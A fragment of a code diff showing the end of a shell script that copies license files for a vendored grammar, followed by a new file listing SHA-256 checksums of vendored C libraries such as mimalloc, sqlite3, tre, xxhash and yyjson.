cp "$REPO_ROOT/COPYING" "$GRAMMAR_DIR/LICENSE"
else
echo "WARNING: No LICENSE file found for $NAME" >&2
fi
else
if [ -f "$REPO_ROOT/LICENSE" ]; then
cp "$REPO_ROOT/LICENSE" "$GRAMMAR_DIR/LICENSE"
elif [ -f "$REPO_ROOT/LICENSE.md" ]; then
cp "$REPO_ROOT/LICENSE.md" "$GRAMMAR_DIR/LICENSE"
elif [ -f "$REPO_ROOT/COPYING" ]; then
cp "$REPO_ROOT/COPYING" "$GRAMMAR_DIR/LICENSE"
else
echo "WARNING: No LICENSE file found for $NAME" >&2
fi
fi
echo "Vendored $NAME to $GRAMMAR_DIR"
ls -la "$GRAMMAR_DIR/"
+75
View File
@@ -0,0 +1,75 @@
dd4f25cae53209d45d73f8e6a2b9c219e8fc7434d97f20eba9af1a8b850030fd /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/include/mimalloc-new-delete.h
21fcf61c4443341ac6bf6ea528af31dc7267e8e3456fc64bfd07704503032175 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/include/mimalloc-override.h
5260df227ea1612b8678a06b063cc8f48e739b551554541cdeb4d430a7e257b3 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/include/mimalloc-stats.h
869161433ab2d807a75752d0762accf5b68b6b24ce67e417af46bf181b9b6c72 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/include/mimalloc.h
e9512b521a82cc0cbc262f6060dd70bb4243ac4a7d69d6ab8b1ef8e56f181a21 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/include/mimalloc/atomic.h
57a7297e18ae464a7bfd3fc25a46229008602385697305c69ed289b89ece7631 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/include/mimalloc/bits.h
5aeeff21d667daf4aadcc66f634aa957ecd688d15b277828f367c8c2274251a8 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/include/mimalloc/internal.h
555302d2fcd05e974441d0c9c9208c26e860db4b3f17b9025a08f42e0f4807ba /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/include/mimalloc/prim.h
1f378b4b6063c078d2aeb5d916c1d30b5db787a44ab9118e7daf673b086882c6 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/include/mimalloc/track.h
b54e760da2a8d9d8a9cb708e280268c2d194c99bc518b21f72db70100578ad6a /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/include/mimalloc/types.h
70420b4430da4bb6b5197fd27c6c0df485249c53a986bc9536c9fb643fc7613b /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/alloc-aligned.c
6c8e9b0d042481c55791edb7330daec64bedaf26f0e70c9ca40de3cc17a690fe /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/alloc-override.c
98d0eb877d7b9cdf7e9f857aaf3c739b69f746b91221e0e427e82bdd7cec90b3 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/alloc-posix.c
a92d58e47220e5b6d138b83d92498771be4195ee59136a134e4461f6f726b9b8 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/alloc.c
86fde644ede2e8d582e53499568a1713516a20326e0350eaa06a28029cece91b /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/arena-meta.c
a1d6900d2b9a17461aa2a72a7791dfb22f6167b86f7ac6f15f981d9735aa2adb /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/arena.c
de16033e029488e9ade4152ea1274e1a5ecbdc2c8a8d8ee50b745fd037ee6f6c /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/bitmap.c
2e7a54ff44592a1fe8fe929e691322622f8aa1e0b1e80954781f332a88dd6cd1 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/bitmap.h
c9a845dd7b9020f26d73761d235fb75e7bc4a3682576de750050ac4098211b43 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/free.c
ae8e88737c9861e8e071fe5f1e7acc52093bcffd136a359a6b473101e968c14f /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/heap.c
eca1fe77d72ab2aaccc447c8119056e9c4e8851bda9a95472b573539f76107ad /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/init.c
ebd95b475f15d5387e6ef3c88a9cb47b88e64d7e55998ae1dc656614676a443b /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/libc.c
96ef01e41f4b3043118e8c801e660b1d3f185d6fb824e5298a038aee89b6a392 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/options.c
011e965f28c0e2c885a6834d51bd756a458dd37ebfed6fd4d9ad6607ce0390ed /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/os.c
1be3a208c678fc34187c2a8ffb75f3fe1eecc674bbf8b2af4d1f329506b1fad5 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/page-map.c
7ec275805c9f00eb66710ffa99817b3ed1dba9826435d08f4866f7935152f6ae /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/page-queue.c
d3614a59f2407a32e75b051deb1aff31b233f587d325dcc5420ba508551b687e /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/page.c
7488e9e562ca85d2d757ec48e4d334935263a2333aa05b6061d8520f427c5890 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/prim/emscripten/prim.c
ce14eb6dfd55f241095b55f70983931a2d92f7a6a622a9b360cdd70ab3b53208 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/prim/osx/alloc-override-zone.c
247a9952465eb105be03a9962e922b085ce5d52034775551a61cd8594275be73 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/prim/osx/prim.c
cc771788e5ba591efb681829a8724f8662a1f50f3db39cf5ebe7738b8ed57e44 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/prim/prim.c
c1ae32eaac7ccf18c10058cca99723892f8bd027318590151f5011c929c7e3be /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/prim/unix/prim.c
bee9c655a17e1e93bf4908e0a902fd3b566628447b1446fcbfa92bca2e76ca15 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/prim/wasi/prim.c
4f3110ef2054c95cb275be96cb279224d3d46a728c5117bd1435425f382de778 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/prim/windows/etw.h
5cde60fcef94cd79ab816030be00f8c1bdf18fab343563508c681ec6e762d1f1 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/prim/windows/prim.c
a96a1acc75fd6595811b28420cf0495b87fac98c4dbc73aa0d742b6824f607c8 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/random.c
4059be2a6676693be3433f5aedc711f56301772e65f3573654c236d6d1cfd074 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/static.c
16825bbc252de422982b5728df7eda181d952824f5e3ce958c7fc85feae64b8e /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/stats.c
7f76bcace4b0578f2063477752138adabd99f7b10a276998e296a312c47a7cfe /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/theap.c
49be69a4b674e09690a63870830f3ffb05698ed4210949ef5add11957a08325b /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/mimalloc/src/threadlocal.c
dab3009c0d76b0c5e05ad8abc7c9f8f6effca547fea3c0394be96418a85c1081 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/nomic/code_tokens.h
494d329d06e33904e6264b1f9d1cc82de2c6bb212f8d78ba281b7e1eb1179b61 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/nomic/code_vectors.h
9512509b1bccb7461f79bea8aad6280ae4699e925fa4804381b71f59e7efb0c5 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/sqlite3/sqlite3.c
19585c8b5230e9d4f223bf31b709ece7b6a0bb3faf00d8310625d8e58cda1b1d /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/sqlite3/sqlite3.h
ea81fb7bd05882e0e0b92c4d60f677b205f7f1fbf085f218b12f0b5b3f0b9e48 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/sqlite3/sqlite3ext.h
7efd127c0fc4fe26a07684345cce9287762346abeab665e2fe72711c6fc118bd /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/regcomp.c
eab23b8e79ee90f78e8495de64519afb61b627e062804fd4a622784e052a85fa /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/regerror.c
26b0f550d491335cdaa3fecfe49213d68466befdf648ed281ccdaa631ea6d4f9 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/regex.h
fd6fe2789439d3d28140c27edfe6bcdde1d1c737cab4bd27b1287d3e759fa82d /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/regexec.c
90f76dce41eade7e28c3477d8b45acb8d2ccbc6d4aaba0bb93f0d5ec5b160820 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre_all.c
e98c7732fdbb35ec182edfe043743d7e6b4ad7bcf57b815ec9f37f0d1065a062 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-ast.c
f5d0374597a42f4bf0e7a80001a68bae9ea2622b80f760d8005200fd20acaf0f /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-ast.h
45407a83ef0151a977cb7f8a5275b2a9831ae570d6f27a43723c8da1e76c0261 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-compile.c
924c8b9aa6a261d8b86f1b0b3b575adc5274e135fefcd4193497445e5fc6245a /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-compile.h
6d803fb5dd3cdb8af353936869d92f7b6e25644c7fb3a26280d24fc4451db7d2 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-config.h
d463e509cdc7eda5154d29c75791ccd58eff5d6f4345344829517f62ddb606e1 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-filter.c
aabcc5902193f76e457deffa1b3cf2c3b63d39489e6da5fc3f16bb26e83dc067 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-filter.h
fd6121af43c4d64f3dc6b55dcd0618bd5b69d5ada60f951bc663a924374a082c /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-internal.h
2fcb1bbadc845bc32b73b2882bb7f1988f7fdb183b8349750e5f20b29b6223da /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-match-approx.c
80a0b950fc1c34773d49fcec0f78a3b7de7c893852dcfc83f7eece3ebe262afa /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-match-backtrack.c
446bf71b5c22ee432dc42705c63abcda8eaebeafecc811d682b658b8d18e68f1 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-match-parallel.c
3f726919232c0311daa533fbaff6bdcc3746817b48672c6ed95a6e160c2877f1 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-match-utils.h
1645537ca85eefe543da3187b3d1a65bf796ae0a0576545457b56fb63fc13c67 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-mem.c
6ae203e4ff329bbc15bd48004f0b5ac0804fe95b1557883d6840949e75f2018b /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-mem.h
a04e1bea47aff5d858460c1d08aac6ed3a3c8ee285500281dd3147ff0621095e /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-parse.c
29d69be4d03e723e4b99e9887774970f7e62176aed3369faacd34b955ffb509f /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-parse.h
4c9af903178f5f7030962b5708d4e656f8b060e795852e1eee883696b682849d /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-stack.c
aabe11f1b7c6c627dc9cfb62cfb9565ac9ebdf2c51c2d55c5320af5db76c5e3b /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre-stack.h
1c2d81474d2b59b7a39f5b1592473adfb4109fad99156588088f2ccc56c654ab /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/tre.h
9632e5eeb20e3d328f8def0efb2e8230f5b5cb7d9f2e5680ad89caf065f8b3a6 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/xmalloc.c
22aee25e6892e97719ec4a5fad91345cd2145722ebbd3ec31397aff68108e3e6 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/tre/xmalloc.h
5c3591fe6e6c86a619eb26760e9520e37a6fd5152882ab5ad93f912e2a855966 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/xxhash/xxhash.c
86d0d813745821bbccf0be6d67356846f138e5c20164c52c24fade1419afdf7d /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/xxhash/xxhash.h
1da0205abb1a27c27db397b7f8a475abc0af58963af9a88fc807a6c4fa7a8d51 /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/yyjson/yyjson.c
b2bd3aec324a0d6bc67196f647c966870e783c2e3944684f10db26b2c04b773f /Users/martinvogel/project_dir/codebase-memory-mcp/vendored/yyjson/yyjson.h